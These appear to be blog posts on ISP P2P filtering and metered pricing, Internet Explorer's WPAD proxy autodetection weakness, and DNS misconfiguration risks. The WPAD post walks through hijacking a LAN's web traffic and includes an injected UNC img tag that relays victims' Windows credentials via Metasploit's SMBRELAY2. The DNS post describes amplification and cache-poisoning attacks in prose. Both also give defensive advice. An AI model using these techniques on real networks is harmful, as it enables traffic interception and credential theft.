I’m surprised that AT&T is actually considering it. Currently, AT&T is shielded from lawsuits over content carried over their network by having “common carrier” status — they do not discriminate based on content. If they begin discriminating based on content, they may cut down on music and movie piracy — but they also render themselves vulnerable to being held liable for what music and movie piracy does occur. Perhaps the MPAA and RIAA have offered to indemnify AT&T in exchange for its help with the filtering. There is another problem with filtering, though — AT&T’s Internet backbone lines carry a staggering amount of traffic, so any kind of filtering would of necessity have to be very rudimentary or the processing power requirements would be enormous. Essentially, they would have to do something like what Comcast did with the Sandvine system — just interfere with all BitTorrent (or other P2P) traffic, without making any attempt to differentiate between legal and illegal content.

Perhaps AT&T has another ulterior motive, though — P2P traffic is representing an increasing proportion of all Internet traffic, at this point more than half. If killing P2P would drop AT&T’s bandwidth requirements by 60% while not affecting their revenue, this would have to be tempting for the corporation.

The increasing amount of P2P traffic is causing another major Internet company to consider sabotaging their own business — Time-Warner Cable. Ars Technica reports that Time-Warner is considering switching to metered rates, where users pay different amounts based on how much bandwidth they are using. They’re undoubtedly considering this due to the public’s reaction to Comcast’s filtering of P2P traffic (outrage and lawsuits.) Cable companies are in a bind — they built their networks under the assumption that traffic is extremely asymmetric — many users send small amounts of traffic (requests, acknowledgments) to centralized servers which respond with large amounts of traffic. This made sense when almost all Internet traffic consisted of web pages, but P2P networks destroy this assumption, with each user uploading as much, or more, than they download. Essentially, with P2P everyone is a server, and the cable companies simply can’t handle this without massive, expensive upgrades to their entire infrastructure. Their problem is one of failure to plan — they didn’t see this coming, and spent billions of dollars in capital building the wrong network. Even without piracy, P2P would be an increasing proportion of Internet traffic today — the world has changed, and it won’t be changed back again.

On one hand, metered pricing is fair. Right now, the people who use P2P are getting their Internet connections below-cost — we’re unprofitable for the ISPs, who can only support us because the masses of people who do nothing but occasional web-surfing are so profitable that they subsidize P2P users and result in an overall profit for the ISP. ISPs can afford to offer “unlimited” broadband only so long as they can be sure almost no one will use it. With metered pricing, heavy users pay for their heavy use, and light users can pay less since they don’t have to subsidize the heavy users. On the other hand, there’s a problem — customers despise metered pricing, especially when they’re used to flat-rate. In the 90’s, phone companies experimented with metered local service, and it was outrageously unpopular even with people whose phone bills decreased as a result. Sure, they were paying less, but now they felt limited.

Switching to metered pricing will indeed save money. However, it will do so by driving away customers, starting with the unprofitable heavy users. Perhaps this is intentional — banks set up their fee structures to drive away unprofitable customers, too, so it’s not unprecedented. But in the long run, P2P use is increasing, and the old usage patterns are decreasing — if the networks don’t adapt to this, eventually they’ll have no customers left. Competitors like Verizon FiOS, which (due to a fiber-optic last mile) don’t need to limit upstream bandwidth and have been built in the modern P2P world will kill off any network that tries to live in the past.

If you run Internet Explorer, you may have noticed that often when you first load up IE and try to navigate to a web page, there’s a delay of a few seconds longer than there is on subsequent page loads. This is because IE is trying to automatically detect your proxy settings. Inside Internet Options -> Connections -> LAN Settings, you’ll find an option called “Automatically detect settings” which defaults to on. Unless you’ve turned it off manually or are joined to a corporate domain that turns it off, it’s probably still on.

It turns out that this settings is absolutely appalling for security, opening up several opportunities for an enterprising hacker on your local network. On a corporate network, that may be everyone in the building — on a wireless hotspot, it’s anyone in range. To understand the vulnerability, we have to look at how Automatically Detect Settings actually detects your settings.

When IE is first requested to load a page, it attempts to locate a server called WPAD. First, it checks the information received from the DHCP server, looking for site-local option 252, “auto-proxy-config.” Failing this, it tries to do this with a DNS lookup, asking the local DNS server to identify the IP address for WPAD. If this doesn’t work, it proceeds to try to use WINS — the old NetBIOS-based Windows Internet Name Service that is how multiple computers on a home network identify each other in the absence of a DNS server — to identify WPAD. It will try this for each domain extension up the hierarchy — if your computer is called fnord.endor.sparkplug.squid.com, it will look for, in order:

• wpad.endor.sparkplug.squid.com
• wpad.sparkplug.squid.com
• wpad.squid.com

It should not try to load from wpad.com (or wpad.net, etc.), though some configuration errors can cause it to try. In any case, if it finds a server called WPAD, it tries to retrieve proxy data from it, by issuing:

GET /wpad.dat HTTP/1.0

This is called the Web Proxy Auto Discovery Protocol, from which WPAD gets its name. The resulting file wpad.dat must be returned with the MIME type “application/x-ns-proxy-autoconfig”, and contain JavaScript that implements a function called FindProxyForUrl. This function is then called by IE on every URL it tries to load from then on, to determine what proxy servers, if any, it should use. The simplest example of this file could be something like this:

function FindProxyForUrl(url, host)
{
return “PROXY isa.squid.com:80; DIRECT”;
}

This tells IE to use the same proxy for everything, and that if that fails, try a direct connection. An enterprise with multiple proxies and internal networks could use the URL and HOST parameters to do a more complex proxy configuration. This file is actually in the Netscape Proxy Client Autoconfig file format, and can contain quite a bit of interesting script.

So, in a large enterprise, this is all very convenient. As the network administrator, you can control the proxy configuration of everyone on the network from one convenient file. Should you need to change anything, you change it in one place and it gets picked up. Most enterprises don’t use this feature — I’ve heard that only about 3% do — because they instead distribute proxy settings via domain Group Policy, or they simply don’t use a proxy at all. However, the few enterprises that do are some of Microsoft’s largest customers, so this feature probably has some very influential people backing it.

So, what’s the problem with this? Why do I think of it as IE’s worst feature? Because in those 90%+ of enterprises and effectively-100% of non-enterprise networks that don’t use WPAD, you can use it to mount man-in-the-middle attacks and hijack everyone’s web traffic. If someone is using you as a proxy, you have total control over their web activity. You can read everything they do, everything that the server responds with, etc. You can redirect any web traffic transparently to your own fake sites. You can even modify the responses from real sites on-the-fly with scripts — there are proxy servers for Linux that will run everything that goes through it through some user-specified regular expressions to edit them. The classic demonstration of this was a user who set up his proxy to replace all image loads on all web pages with upside-down versions of the images or random cute cat pictures from www.kittenwar.com; you can see his proxy configuration at ex-parrot.com. You can even intercept SSL communications this way, though the user will get an error message that the URL on the certificate doesn’t match the site certificate (or, if you’re more careful about crafting the cert, simply that the certificate isn’t signed by a trusted authority.)

WPAD can enable you to take control of others’ proxy settings. How? Simple… just name your computer WPAD and join a network. Anyone who uses Internet Explorer will ask your computer for the GetProxyForUrl function. All you have to do is run a web server containing a file called wpad.dat at the root, and configure the server to return that file with a MIME type of “application/x-ns-proxy-autoconfig”. That file can contain a line making your computer the proxy for all URLs, and now you get everyone’s web traffic.

Normally, just registering with DHCP with a computer name of “WPAD” is enough to get you into DNS and hijack the entire network. Failing that, even if DNS is restricted, if WPAD doesn’t exist other systems will still find you based on WINS (which is decentralized and unauthenticated, and thus cannot be restricted.) And even if WPAD does exist, this feature is still scary — an attacker can still get their system named WPAD via a host of mechanisms, like DNS cache poisoning, ARP spoofing, rogue access points, etc.

But wait, it gets worse! By carrying out this attack, the attacker has the ability to make you execute arbitrary web-safe code (i.e. anything your browser will do without prompting.) After all, they can edit any page you view and add script to it. What if they add script like this?

<img src=”\\wpad\share\image.gif”>

Note that that’s a UNC path (Windows file sharing), not an HTTP path. Your computer will try to download that image via SMB — and since the attacker is on your local network, SMB will be successfully routed to him. Now, if he’s got a public share called “share” hosting an image called “image.gif”, this is no big deal — IE will simply display the image. But what if his machine doesn’t have shares at all, but instead a Metasploit console running my favorite Metasploit module, SMBRELAY2? Then each time a user accesses any web page, the attacker gains access to one resource of his choice as the user who loaded the web page. Every time you browse the web, the attacker gets to take an action with your credentials — including connecting back to your computer with your privileges (probably Administrator, if you’re like most people) or to any other share or website you have access to with your Windows credentials. The attacker doesn’t actually get your password — he just probably doesn’t need it, since he can act as you anyway.

Actually, an attacker can do everything I described above using only a standard Linux box with a Metasploit installation (or a BackTrack 3 LiveCD.)

So, what can you do to protect yourself or your network from this attack? As an end-user, it’s pretty simple — go into your IE or Firefox or other browser settings and disable proxy autodetection. You probably don’t need it anyway, and it slows down your first page load. If you use a network that does require a proxy, find out what the proxy is and enter its settings manually. The only reason you wouldn’t be able to do this is if you are joined to a domain that sets this setting to On via domain Group Policy, or if you run the ISA Firewall Client with the option “Enable Web Browser Automatic Configuration” enabled (in which case you can just disable that setting, too.)

As a network administrator, it’s a bit harder. If your network does not use WPAD, you could force autodetection off with Group Policy. If you do use it, make sure you have a machine registered as WPAD at each domain level and in both DNS and WINS, and specify the machine (preferably by IP address) in DHCP option 252. If a system gets the WPAD address out of DHCP, it will make no attempt to find it in other ways, which greatly reduces the opportunity for spoofing.

The ultimate solution to this would be for Microsoft to make it off by default. Unfortunately, as an automation-simplification feature, having it off by default would pretty much defeat its purpose.

The Domain Name System is generally taken for granted. You put in a name, like perimetergrid.com, and you get back an IP address (at the time of this post, 66.33.198.185.) The addresses change sometimes, but it just works.

However, it’s taken for granted so often that sometimes big security consequences lurk within. I’m not going to talk about DNS rebinding — that’s a relatively big issue, and a relatively new attack (and if you want to know a ton about it, you should read Dan Kaminsky’s blog; he’s a master of weird DNS tricks and a great speaker.) No, I’m talking about much simpler things.

But first, a bit about how a DNS lookup works. Imagine you’re sitting on your home computer, with Comcast as your ISP. You want to use Google’s search engine. You type “www.google.com” into your web browser. What happens?

1. Your computer checks its hosts file and local DNS cache to see if it happens to know the IP address for “www.google.com.” If it does, it makes sure that the TTL (Time To Live) on the cache entry hasn’t expired. Assuming there’s a current entry, you’re done here — the web browser connects to the cached IP. But if not…
2. Your computer has a record of Comcast’s DNS server IPs. It got these along with your IP when you connected to the Internet, and there are always at least two. It contacts this IP (at the time of this post, 68.87.69.146) and asks for www.google.com in a UDP packet.
3. Comcast’s DNS server has a cache, too.  If it happens to know www.google.com, it returns it to you and you’re done.
4. If it doesn’t, it needs to find a DNS server that does.  It checks for the top-level domain (google.com) and checks to see if it knows the authoritative DNS for that name.  If so, it forwards the request there.  If not, it goes up another level (.com) — every DNS server knows the IPs of a small core of top-level domain name servers (administered by ICANN), and so it forwards the request there.  It does the forwarding itself rather than telling you to do it so that it can cache the result to improve performance next time.
5. The top-level domain name server recieves a request for www.google.com. These top-level servers don’t cache and don’t know any subdomains — so all it can tell you is the authoritative DNS for google.com.  In the case of large companies like Google, this will be one of Google’s own servers.  For smaller websites like this one, it will be a server owned by the ISP hosting the site.  (Of course, it doesn’t tell you, since you didn’t ask it — it tells the domain name server that forwarded it the request.)
6. The request now reaches the DNS for google.com, and asks for the IP for the server “www.”  Google’s DNS knows this, and returns it — finally your browser can load the page you want.

That whole process happens nearly instantaneously — sometimes a dozen times to load a single web page.  Every time a name is returned, it is accompanies by a TTL, which tells the servers (and your PC) how long they are allowed to cache the results before asking again (due to load-balancing and dynamic IPs, DNS results aren’t usually good forever, and sometimes are only good for a few minutes.)  In addition, DNS can return three major different kinds of records:

• A records: This simply says “this IP goes with this server.”  They are the “normal” DNS responses.
• MX records: These state what the mail server is for a domain.  This is why you can send mail to someone at a top-level domain without having to know the name of their actual mail server — DNS will ask the domain what the actual mail server is.
• CNAME records: Standing for “canonical name”, this tells the requesting server that the name it’s asked for (say “ftp” or “www”) is just an alias for another server, and it returns the DNS name of the actual server.

(DNS can actually return at least 63 other kinds of records, but they’re beyond the scope of “a bit about DNS” and some are barely ever used at all.)

The system was not designed for security.  It does not have much in the way of security features (though there is an effort to design a new, secure DNS.)  However, it does have at least two of major security options — you can restrict who is permitted to perform a “zone transfer” (essentially a special DNS lookup that tells the authoritative DNS for a domain “tell me everything you know about the domain,” meant to be used for DNS servers that mirror each other), and you can restrict who is permitted to perform a recursive lookup.  What would happen if you left those features off?

With zone transfers, it’s relatively obvious (at least compared to the recursion restriction) — if a hacker could ask for a zone transfer, they would know the names and IP addresses of every server in the domain.  This can tell you a lot about how the internal network is organized!  It tells you what targets to attack, how many servers there are, sometimes what the servers are for (if they have descriptive names), etc.  It’s enough information that trying a zone transfer is usually the first step in information gathering for an attack — it almost never works, but if it does, it’s a wealth of information.

Recursive lookups are not so obvious in their security implications.  A recursive lookup is what your ISP’s DNS does for you when you try to go to a website — it sees if it has the target in its cache, and if not, forwards the request up and down the chain until it gets it.  It won’t get stuck in infinite loops or anything — if the top-level domain name servers or the reported authoritative DNS say the name isn’t found, the lookup stops.  In a proper configuration, only people within the domain can perform a recursive lookup of a site outside the domain; people outside should only be able to look up sites within the domain.  If I’m not on Google’s network, how would my request for anything other than a Google machine end up at their DNS server?  It shouldn’t happen.

So what’s the harm if it does?  Actually, a lot.  There are two implications here: DOS amplification and cache poisoning.

In DOS amplification, a hacker wants to take down some remote IP address.  DNS lookups are tiny UDP packets (about 75 bytes), and require no authentication — a DNS server will respond to anyone, anytime.  If the hacker sets up a program to forge UDP packets claiming to be “from” my target to a DNS server, it will respond with packets “to” my target that are potentially much, much larger than my little UDP packet.  If he has a malicious DNS server to make the lookups to, there could potentially be a 4 kilobyte response to a simple lookup.  Due to the caching, any DNS server enlisted in this scheme will only hit the malicious DNS once — after that, it will amplify 75 bytes into 4000 every time it’s asked!  With this, one hacker on a 384 Kb cable modem uplink can bring down a web server with a 20-megabit line.  While this isn’t an attack on the person running the badly-configured DNS server, it’s not the kind of public service a network admin wants to provide.

Cache poisoning, however, it is an attack on the company with the badly-configured DNS server. This time, the hacker sets up his own google.com — or more likely, his own citibank.com or amazon.com.  It’s probably a proxy of the real thing, only with a bit of spying going on to steal information, or site modification to install malware.  He then issues a huge number of DNS lookups to the target DNS server, all requesting the site he wants to hijack, like google.com

For each one, the target DNS dutifully goes to the top-level domain servers, gets google.com’s IP, and asks the DNS server for the DNS record.  Google will reply, along with a sequence number that lets the DNS know which request this response matches.

However, at the same time the hacker sent all his requests, he also sends a similarly huge number of replies, all spoofed to be “from” the authoritative DNS being queries, with random sequence numbers.  This makes use of a “birthday attack” — guessing a single 16-bit sequence number is very hard, but if you make 300 guesses and there are 300 right answers, your chances of hitting one are actually 50%.  800 packets is effectively certainty.  This isn’t quite as easy as it sounds, since the attacker’s replies have to get there before the real ones.  But they’re 75-byte UDP packets, so they’re fast, and a determined attacker will sometimes DoS the real DNS at the same time to slow it down.

Now the target’s DNS server has cached a false record for google.com or whatever other domain was chosen — and that record probably has an insanely long TTL (say, weeks) so another lookup won’t happen for quite a while.  Every time a legitimate user of the domain tries to go to the chosen site, they get directed, transparently, to the hacker.  It says “google.com” in the address bar of their browser, because the browser knows that’s where they are — it trusts DNS, and the user doesn’t want to know about IP addresses anyway.

Correct configuration of DNS servers is vital to the secure operation of the Internet — the smallest errors have huge consequences, because DNS is the trusted foundation on which all other communication relies.